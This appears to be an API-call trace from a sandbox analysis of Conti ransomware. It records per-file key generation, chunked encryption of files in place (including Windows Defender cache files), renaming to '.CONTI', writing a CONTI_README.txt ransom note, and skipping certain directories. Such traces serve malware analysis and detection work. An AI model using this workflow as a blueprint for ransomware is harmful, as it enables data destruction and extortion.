	[0115.000] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd")) returned 0x20
	[0115.001] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.001] GetLastError () returned 0x5
	[0115.001] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0115.001] GetProcessHeap () returned 0x1720000
	[0115.001] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f9d0 | out: hHeap=0x1720000) returned 1
	[0115.001] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0115.001] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65de030 | out: phKey=0x65de030*=0x6b7f3b8) returned 1
	[0115.001] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65de034, pdwDataLen=0x5affca4 | out: pbData=0x65de034*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0115.002] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat")) returned 0x20
	[0115.002] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0115.002] GetLastError () returned 0x0
	[0115.002] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=602320) returned 1
	[0115.003] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x930d0
	[0115.003] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.003] SetEndOfFile (hFile=0x3fc) returned 1
	[0115.003] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.003] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.003] WriteFile (in: hFile=0x3fc, lpBuffer=0x65de034*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65de034*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.005] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.005] ReadFile (in: hFile=0x3fc, lpBuffer=0x11710000, nNumberOfBytesToRead=0x930d0, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x930d0, lpOverlapped=0x0) returned 1
	[0115.015] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x930d0, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x930e0) returned 1
	[0115.016] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.016] WriteFile (in: hFile=0x3fc, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x930e0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x930e0, lpOverlapped=0x0) returned 1
	[0115.018] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.018] WriteFile (in: hFile=0x3fc, lpBuffer=0x65de028*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65de028*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0115.018] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.018] CloseHandle (hObject=0x3fc) returned 1
	[0115.018] GetProcessHeap () returned 0x1720000
	[0115.018] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.018] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat"
	[0115.018] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat.CONTI"
	[0115.018] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat.conti")) returned 1
	[0115.019] GetProcessHeap () returned 0x1720000
	[0115.019] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.019] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0115.019] GetProcessHeap () returned 0x1720000
	[0115.019] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02ba8 | out: hHeap=0x1720000) returned 1
	[0115.019] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0115.019] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65de4c0 | out: phKey=0x65de4c0*=0x6b7f3b8) returned 1
	[0115.019] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65de4c4, pdwDataLen=0x5affca4 | out: pbData=0x65de4c4*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0115.020] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat")) returned 0x20
	[0115.020] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0115.020] GetLastError () returned 0x0
	[0115.020] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=0) returned 1
	[0115.020] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0115.020] CloseHandle (hObject=0x404) returned 1
	[0115.021] GetProcessHeap () returned 0x1720000
	[0115.021] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aa40 | out: hHeap=0x1720000) returned 1
	[0115.021] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0115.021] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65dc288 | out: phKey=0x65dc288*=0x6b7f3b8) returned 1
	[0115.021] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc28c, pdwDataLen=0x5affca4 | out: pbData=0x65dc28c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0115.021] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp")) returned 0x20
	[0115.022] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0115.022] GetLastError () returned 0x0
	[0115.023] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=602168) returned 1
	[0115.023] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x93038
	[0115.023] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.023] SetEndOfFile (hFile=0x404) returned 1
	[0115.023] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.023] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.023] WriteFile (in: hFile=0x404, lpBuffer=0x65dc28c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65dc28c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.025] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.025] ReadFile (in: hFile=0x404, lpBuffer=0x11710000, nNumberOfBytesToRead=0x93038, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x93038, lpOverlapped=0x0) returned 1
	[0115.535] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x93038, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x93040) returned 1
	[0115.536] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.536] WriteFile (in: hFile=0x404, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x93040, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x93040, lpOverlapped=0x0) returned 1
	[0115.537] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.537] WriteFile (in: hFile=0x404, lpBuffer=0x65dc280*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65dc280*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0115.537] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.537] CloseHandle (hObject=0x404) returned 1
	[0115.537] GetProcessHeap () returned 0x1720000
	[0115.537] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6878830
	[0115.538] lstrcpyW (in: lpString1=0x6878830, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp"
	[0115.538] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.CONTI") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.CONTI"
	[0115.538] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.CONTI" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp.conti")) returned 1
	[0115.539] GetProcessHeap () returned 0x1720000
	[0115.539] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6878830 | out: hHeap=0x1720000) returned 1
	[0115.539] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0115.539] GetProcessHeap () returned 0x1720000
	[0115.539] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a7c0 | out: hHeap=0x1720000) returned 1
	[0115.539] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0115.539] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x6b50720 | out: phKey=0x6b50720*=0x6b7f478) returned 1
	[0115.539] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50724, pdwDataLen=0x5affca4 | out: pbData=0x6b50724*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0115.540] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.67")) returned 0x20
	[0115.540] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.67"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0115.541] GetLastError () returned 0x0
	[0115.541] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=111258476) returned 1
	[0115.541] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6a1ab6c
	[0115.541] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.541] SetEndOfFile (hFile=0x404) returned 1
	[0115.541] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.541] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.541] WriteFile (in: hFile=0x404, lpBuffer=0x6b50724*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x6b50724*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.545] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.545] ReadFile (in: hFile=0x404, lpBuffer=0x11710000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x500000, lpOverlapped=0x0) returned 1
	[0119.750] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000) returned 1
	[0119.755] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.756] WriteFile (in: hFile=0x404, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x500000, lpOverlapped=0x0) returned 1
	[0123.153] ReadFile (in: hFile=0x404, lpBuffer=0x11710000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x500000, lpOverlapped=0x0) returned 1
	[0124.029] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000) returned 1
	[0124.035] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.035] WriteFile (in: hFile=0x404, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x500000, lpOverlapped=0x0) returned 1
	[0126.694] ReadFile (in: hFile=0x404, lpBuffer=0x11710000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x500000, lpOverlapped=0x0) returned 1
	[0127.709] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000) returned 1
	[0127.714] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.715] WriteFile (in: hFile=0x404, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x500000, lpOverlapped=0x0) returned 1
	[0130.004] ReadFile (in: hFile=0x404, lpBuffer=0x11710000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x500000, lpOverlapped=0x0) returned 1
	[0131.862] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000) returned 1
	[0131.868] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.868] WriteFile (in: hFile=0x404, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x500000, lpOverlapped=0x0) returned 1
	[0132.857] ReadFile (in: hFile=0x404, lpBuffer=0x11710000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x500000, lpOverlapped=0x0) returned 1
	[0134.771] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000) returned 1
	[0134.777] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x1400000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.777] WriteFile (in: hFile=0x404, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x500000, lpOverlapped=0x0) returned 1
	[0136.220] ReadFile (in: hFile=0x404, lpBuffer=0x11710000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x500000, lpOverlapped=0x0) returned 1
	[0139.943] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000) returned 1
	[0140.012] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x1900000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.012] WriteFile (in: hFile=0x404, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x500000, lpOverlapped=0x0) returned 1
	[0142.200] ReadFile (in: hFile=0x404, lpBuffer=0x11710000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x500000, lpOverlapped=0x0) returned 1
	[0144.408] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000) returned 1
	[0144.431] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x1e00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.431] WriteFile (in: hFile=0x404, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x500000, lpOverlapped=0x0) returned 1
	[0148.175] ReadFile (in: hFile=0x404, lpBuffer=0x11710000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x500000, lpOverlapped=0x0) returned 1
	[0151.763] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x500000) returned 1
	[0151.778] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x2300000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.778] WriteFile (hFile=0x404, lpBuffer=0x11710000, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0) 

Thread:
	id = 177
	os_tid = 0x132c

	[0093.136] lstrlenW (lpString="C:\\") returned 3
	[0093.136] GetProcessHeap () returned 0x1720000
	[0093.136] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc) returned 0x1742968
	[0093.136] lstrcpyW (in: lpString1=0x1742968, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0093.136] lstrcatW (in: lpString1="C:\\", lpString2="*" | out: lpString1="C:\\*") returned="C:\\*"
	[0093.136] lstrlenW (lpString="C:\\") returned 3
	[0093.136] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.136] GetProcessHeap () returned 0x1720000
	[0093.136] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x2a) returned 0x1738de0
	[0093.136] lstrcpyW (in: lpString1=0x1738de0, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0093.136] lstrcatW (in: lpString1="C:\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\CONTI_README.txt") returned="C:\\CONTI_README.txt"
	[0093.136] CreateFileW (lpFileName="C:\\CONTI_README.txt" (normalized: "c:\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0093.154] GetProcessHeap () returned 0x1720000
	[0093.154] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738de0 | out: hHeap=0x1720000) returned 1
	[0093.154] WriteFile (in: hFile=0x2f0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3fafc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3fafc*=0xa2, lpOverlapped=0x0) returned 1
	[0093.155] CloseHandle (hObject=0x2f0) returned 1
	[0093.156] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffff, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x175e830
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2=".") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="..") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="tmp") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="winnt") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="Application Data") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="AppData") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="temp") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="thumb") returned -1
